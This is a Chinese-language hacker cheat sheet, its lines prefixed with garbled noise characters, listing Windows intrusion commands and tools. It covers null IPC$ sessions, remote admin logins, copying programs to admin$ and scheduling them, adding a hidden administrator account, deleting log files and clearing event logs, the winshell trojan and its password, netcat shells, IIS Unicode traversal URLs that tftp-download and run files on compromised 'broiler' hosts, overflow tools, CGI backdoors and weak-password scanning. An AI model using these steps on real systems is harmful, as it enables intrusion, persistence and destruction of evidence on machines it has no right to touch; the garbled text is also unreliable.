网管和黑客都必须知道的命令
sWW\bK0B4 常用的几条NET命令：
< tQXK; Wy," cT （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
w#d} TY 0hZxN2r （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
>%i9 oI<) T Xl\hL\+ （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
L)G">T; r
&c_4%y （查看远程主机时间） net time \\IP地址
[+7"{UvT Fi k@hu （定时启动某个程序） at \\IP地址 02:18 readme.exe
Q^ q=! /qQ j%Gbg J （查看共享） net view \\IP地址
{"\q(R0 2q|_Dma （查看netbios工作组列表） nbtstat -A IP地址
_"v~"k 90^ :28@J?jjO （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
S
`wE$s o> S r[IoF) （这两条把自己增加到管理员组）： net user 用户名 密码 /add
9 G((wiE z.A4x #>- net localgroup Administrators 用户名 /add
k2wBy'M .' j>V"hf （断开连接） net use \\IP地址\ipc$ /delete
=*[, *A mC "7)&,F 扫尾：
0. (zTJ _AAx
) del C:\winnt\system32\logfiles\*.*
3v G o[2Y;kP3*P del C:\winnt\ssytem32\config\*.evt
1y(iE C Pg qECd) f del C:\winnt\system32\dtclog\*.*
|/2LWc? (S 3jZ del C:\winnt\system32\*.log
` -5 cQ2>" s/\XH&KR3V del C:\winnt\system32\*.txt
~"RQ !&U qY# m*R del C:\winnt\*.txt
e8 v; D |M]sk? "^ del C:\winnt\*.log
;,FT&|3o O<Jwaap 一、netsvc.exe
i$g|?g~] Mf#2.TR 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
6O%=G3I i~(#S8U4d netsvc /list \\IP地址
cyDiA(ot& ~S! L!qY netsvc schedule \\IP地址 /query
-a A<.+ my=*zziN netsvc \\IP地址 schedule /start
?! _u, sT YlG; A\]k 二、OpenTelnet.exe
E#8J+7 .!!79 6hS 远程启动主机的Telnet服务，并绑定端口到7878，例如：
q^ u6f?B Ml8E50t>; OpenTelnet \\IP地址 用户名 密码 1 7878
b,z R5R^D; ;;D%
l^m+ 然后就可以telnet到主机的7878端口，进入DOS方式下：
6_p D e +|)zwe telnet IP地址 7878
Z<w,UvJa
> _n:_ 三、winshell.exe
4b] IazL) `9]P/J^ 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
'et(:}i q`h7H][(A p Path （查看winshell主程序的路径信息）
ry z /rf ]cS&8{ ^2 b reBoot （重新启动机器）
(}VuiNY< 3 U[blq
M d shutDown （关闭机器）
@F>[DW]O `>dIF . s Shell （执行后你就会看到可爱的“C:\>”）
qT
5Wa O) YL; SxLY x eXit （退出本次登录会话，此命令并不终止winshell的运行）
,ZLG 7e /IrKpmbq CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
@+[Y0_ 2#,8evH 四、3389登陆器，GUI方式登录远程主机的
Vj#%B.#Zbf Y}85J:q] 五、elsave.exe
W^-hMT]uD Rc;1Sm9\ 事件日志清除工具
]v/t8` 39'X$! elsave -s \\IP地址 -l "application" -C
&3!i@2d;3f "4J?JR elsave -s \\IP地址 -l "system" -C
wOD/Z8 oiIt3<BX elsave -s \\IP地址 -l "security" -C
-i| /JH V6A5(-%`y 执行后成功清除应用程序日志，系统日志，安全日志
+#&el// O@G<B8U,K 六、hbulot.exe
0 V{>)w!Fo $%lHj+( 开启win2kserver和winxp的3389服务
>\N$>"~a wY."Lw> 6 hbulot [/r]
Ubn ju
@% A@s 使用/r表示安装完成后自动重起目标使设置生效。
H@VBP
Q}Q : 7zI3Ml@7 七、nc.exe(netcat.exe)
1c1e+ H EU`'
8*4 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
V3aY]#Su B3ohHxHu 想要连接到某处: nc [-options] hostname port[s] [ports] ...
!pE>O-| K q8&4=eV\A 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
bEOOFs |DdW<IT`0 参数:
|:`?A3^m# bc Gn8 -e prog 程序重定向，一旦连接，就执行 [危险!!]
# c 8" C?_t8G./_ -g gateway source-routing hop point[s], up to 8
D 3,t6\m LR
8e|H0 -G num source-routing pointer: 4, 8, 12, ...
1\"BvFE*E~ 3hp
tP -h 帮助信息
P}w^9=;S o.v,n1Nm -i secs 延时的间隔
Q*TQ*J7".X tSw~ _s_V -l 监听模式，用于入站连接
> 2!^ dT^D Dg ?Ho2i h -n 指定数字的IP地址，不能用hostname
@U7U?.p +btP]?04 -o file 记录16进制的传输
}W Bm%f T%z!+/=&^ -p port 本地端口号
*X"F : 7 ^MF=,U'8 -r 任意指定本地及远程端口
>?:i6&4o oW\Q>c7
= -s addr 本地源地址
r zc 3 k~@ % B7?l -u UDP模式
_.s\qQ 72B zvY. -v 详细输出——用两个-v可得到更详细的内容
# UP ,;W b*$o[wO9 -w secs timeout的时间
. pNq-T &**.naSo -z 将输入输出关掉——用于扫描时
i &AXPq>` 八、TFTPD32.EXE
exa}dh/uC j[Hg] 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
Lt#:R\;& Bk@_]a http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
'RN"yMv7l -f
'q 然后可以直接令文件运行：
k_.j % {#d`&] http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
Jf8'N
ot Cys/1DkE 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
u8$~N$L PhI{3B/ 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
+eH=;8 (\AszLW 一、一 Xscan命令行运行参数说明：
iIC9rso"Q1 U iPV Z@? 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
f/|a?n2\hm }T^v7 LY 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
|x}&wFV )gm \e?^ xscan -file <主机列表文件名> <检测项目> [其他选项]
ek_i{'hFd d,E/9y\e 其中<检测项目> 含义如下:
kB!M[[t aNh1e^j -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
<jg
wdbT"6 '~!l(&X -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
+&@l{x(, RM / s : -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
0v,`P4_k NJz*N%VWD -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
p Q6t]DJ4 U7Sl@-#| -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
%.r5E2' DrY oC7 [其他选项] 含义如下:
kk>0XPk ".7 KEnx -v: 显示详细扫描进度
D NTRLIKa 34 &$_0zn -p: 跳过Ping不通的主机
'@1Qx~*]e 9 /^Bj -o: 跳过没有检测到开放端口的主机
[Nzg
8FP H#d! ` -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
